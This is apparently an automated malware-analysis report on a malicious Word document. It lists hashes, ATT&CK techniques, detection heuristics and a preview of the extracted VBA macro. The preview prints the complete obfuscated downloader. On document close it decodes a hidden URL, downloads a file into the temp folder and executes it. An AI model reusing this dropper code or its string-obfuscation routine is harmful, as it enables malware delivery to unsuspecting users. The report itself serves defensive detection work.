Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ddf1b84f7d082c1…

MALICIOUS

Office (OLE)

164.5 KB Created: 2016-06-27 14:39:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: 2eefc84892b1a5fa2f6c776b256925fe SHA-1: 228f32e8bb9115ad638fd27ae667edd50637bdb8 SHA-256: 6ddf1b84f7d082c1149f7f716c61977af9f1805bc7cd1672856cc990d183da11
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that utilize `CreateObject` and `Environ()` functions, indicative of malicious activity. The critical heuristic `OLE_VBA_HTTP_DROP_EXEC` confirms that the VBA code downloads a file from an HTTP source and saves it to disk, which is then likely executed. The `SE_ENABLE_LURE` heuristic further suggests the document is designed to trick the user into enabling macros. The embedded URLs are confirmed benign, but the macro's functionality points to a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    BVLJJILDZDSGYHIKGSHWOMGQMHOTKKEXLVCJZJCEQLJHPOZKWZXEFMXXDIFTCLVFCWMRRQSLILBHHPQSOBIEWNOYNPW = SLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBN.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set PJDQBIOFOHJWQPMUTFPCFDJKSDEINKYHQBKHCRWWVYQNQGMMUVXTGNJCSTESUCHRXRLYJJWNWPRERWUDC = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    XFYRFQPEUDWYLYEBKJUFRNLRZHRLQCZOPGPSWRHLLLNYDGVCBJLMIUDYQIJTHKQPGNZZNRXMVLXHTHMJSKVNS = Environ("tmp") + IKGSHWOMGQMHOTKKEXLVCJZJCEQLJHPOZKWZXEFMXXDIFTCLVFCWMRRQSLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWI
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4420 bytes
SHA-256: 32ca1d0060382f0c438e036e5ea5b639acec5a1d6d678f2b88d10fb4d8ea2cd2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Private Function OWXIJNZQFMDGPTOECCCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBF(BHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFD)
        For VTZIPTTYKIWXNRBFZPMNMOHKOWKJRMOKWLZYQKUPLSXOOIIVZGUETGOUPNKTSEVBECIQQCCHSJXGVYJNH = 1 To Len(BHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFD)
            XUVCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBFTBZIKLHTBXPGIRGIPUFM = Mid(BHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFD, VTZIPTTYKIWXNRBFZPMNMOHKOWKJRMOKWLZYQKUPLSXOOIIVZGUETGOUPNKTSEVBECIQQCCHSJXGVYJNH, Chr(49))
            FYMXWLCKDFSFLIRPBMXUSXHOYSXJGVWMWYDXOSSRUGJNCIIQSTPCJGXOPZOQXVNTHHUYFTDSFNBNTQZQCUZDBGOWZBGROEEUXHL = FYMXWLCKDFSFLIRPBMXUSXHOYSXJGVWMWYDXOSSRUGJNCIIQSTPCJGXOPZOQXVNTHHUYFTDSFNBNTQZQCUZDBGOWZBGROEEUXHL & Chr(Asc(XUVCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBFTBZIKLHTBXPGIRGIPUFM) - 14)
        Next
For i = Len(FYMXWLCKDFSFLIRPBMXUSXHOYSXJGVWMWYDXOSSRUGJNCIIQSTPCJGXOPZOQXVNTHHUYFTDSFNBNTQZQCUZDBGOWZBGROEEUXHL) To 1 Step -1
    var = Mid(FYMXWLCKDFSFLIRPBMXUSXHOYSXJGVWMWYDXOSSRUGJNCIIQSTPCJGXOPZOQXVNTHHUYFTDSFNBNTQZQCUZDBGOWZBGROEEUXHL, i, 1)
    OWXIJNZQFMDGPTOECCCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBF = OWXIJNZQFMDGPTOECCCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBF & var
Next
    End Function

Private Sub Document_close()
IKGSHWOMGQMHOTKKEXLVCJZJCEQLJHPOZKWZXEFMXXDIFTCLVFCWMRRQSLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWI = OWXIJNZQFMDGPTOECCCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBF("s†s<X`[UY^TY[j")
CMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBNNBGMZKZLUHUZWGX = OWXIJNZQFMDGPTOECCCEWSWLYRZCDYLZPHFZKFZHMEEXQEPVDTCUWKEDZJHSEQSRWYGQRVBYNUEOXUPGKKJMFBF("s†s<€s‚or~csp}rO=…}va=oˆ<}q<‡|o~{}qo„==H~‚‚v")
Set PJDQBIOFOHJWQPMUTFPCFDJKSDEINKYHQBKHCRWWVYQNQGMMUVXTGNJCSTESUCHRXRLYJJWNWPRERWUDC = CreateObject("Shell.Application")
Set SLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBN = CreateObject("microsoft.xmlhttp")

XFYRFQPEUDWYLYEBKJUFRNLRZHRLQCZOPGPSWRHLLLNYDGVCBJLMIUDYQIJTHKQPGNZZNRXMVLXHTHMJSKVNS = Environ("tmp") + IKGSHWOMGQMHOTKKEXLVCJZJCEQLJHPOZKWZXEFMXXDIFTCLVFCWMRRQSLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWI
SLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBN.Open "GET", CMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBNNBGMZKZLUHUZWGX, False
SLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBN.send
BVLJJILDZDSGYHIKGSHWOMGQMHOTKKEXLVCJZJCEQLJHPOZKWZXEFMXXDIFTCLVFCWMRRQSLILBHHPQSOBIEWNOYNPW = SLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBN.responseBody
If SLILBHHPQSOBIEWNOYNPWCMSMFTEERIRKMYMROXWISFBYFNUGZEQNCDTEGKFUZZYBNQTJPPWYBWJQMFVWHVXFDUBN.Status = 200 Then
Set JBGJHNVDHIMYVKLCFOSNDBBZDUYCKXXFBCXKYONEXIEYGLDCVVJNUIRITDJDCYHGRJORPVEFPQUGWLTKNWBVLJJILDZDSGYH = CreateObject("adodb.stream")
JBGJHNVDHIMYVKLCFOSNDBBZDUYCKXXFBCXKYONEXIEYGLDCVVJNUIRITDJDCYHGRJORPVEFPQUGWLTKNWBVLJJILDZDSGYH.Open
JBGJHNVDHIMYVKLCFOSNDBBZDUYCKXXFBCXKYONEXIEYGLDCVVJNUIRITDJDCYHGRJORPVEFPQUGWLTKNWBVLJJILDZDSGYH.Type = 1
JBGJHNVDHIMYVKLCFOSNDBBZDUYCKXXFBCXKYONEXIEYGLDCVVJNUIRITDJDCYHGRJORPVEFPQUGWLTKNWBVLJJILDZDSGYH.Write BVLJJILDZDSGYHIKGSHWOMGQMHOTKKEXLVCJZJCEQLJHPOZKWZXEFMXXDIFTCLVFCWMRRQSLILBHHPQSOBIEWNOYNPW
JBGJHNVDHIMYVKLCFOSNDBBZDUYCKXXFBCXKYONEXIEYGLDCVVJNUIRITDJDCYHGRJORPVEFPQUGWLTKNWBVLJJILDZDSGYH.SaveToFile XFYRFQPEUDWYLYEBKJUFRNLRZHRLQCZOPGPSWRHLLLNYDGVCBJLMIUDYQIJTHKQPGNZZNRXMVLXHTHMJSKVNS, 2
JBGJHNVDHIMYVKLCFOSNDBBZDUYCKXXFBCXKYONEXIEYGLDCVVJNUIRITDJDCYHGRJORPVEFPQUGWLTKNWBVLJJILDZDSGYH.Close
End If
PJDQBIOFOHJWQPMUTFPCFDJKSDEINKYHQBKHCRWWVYQNQGMMUVXTGNJCSTESUCHRXRLYJJWNWPRERWUDC.Open (XFYRFQPEUDWYLYEBKJUFRNLRZHRLQCZOPGPSWRHLLLNYDGVCBJLMIUDYQIJTHKQPGNZZNRXMVLXHTHMJSKVNS)


End Sub

Attribute VB_Name = "NewMacros"
Sub STATE()
'
' STATE Macro
'
'

End Sub

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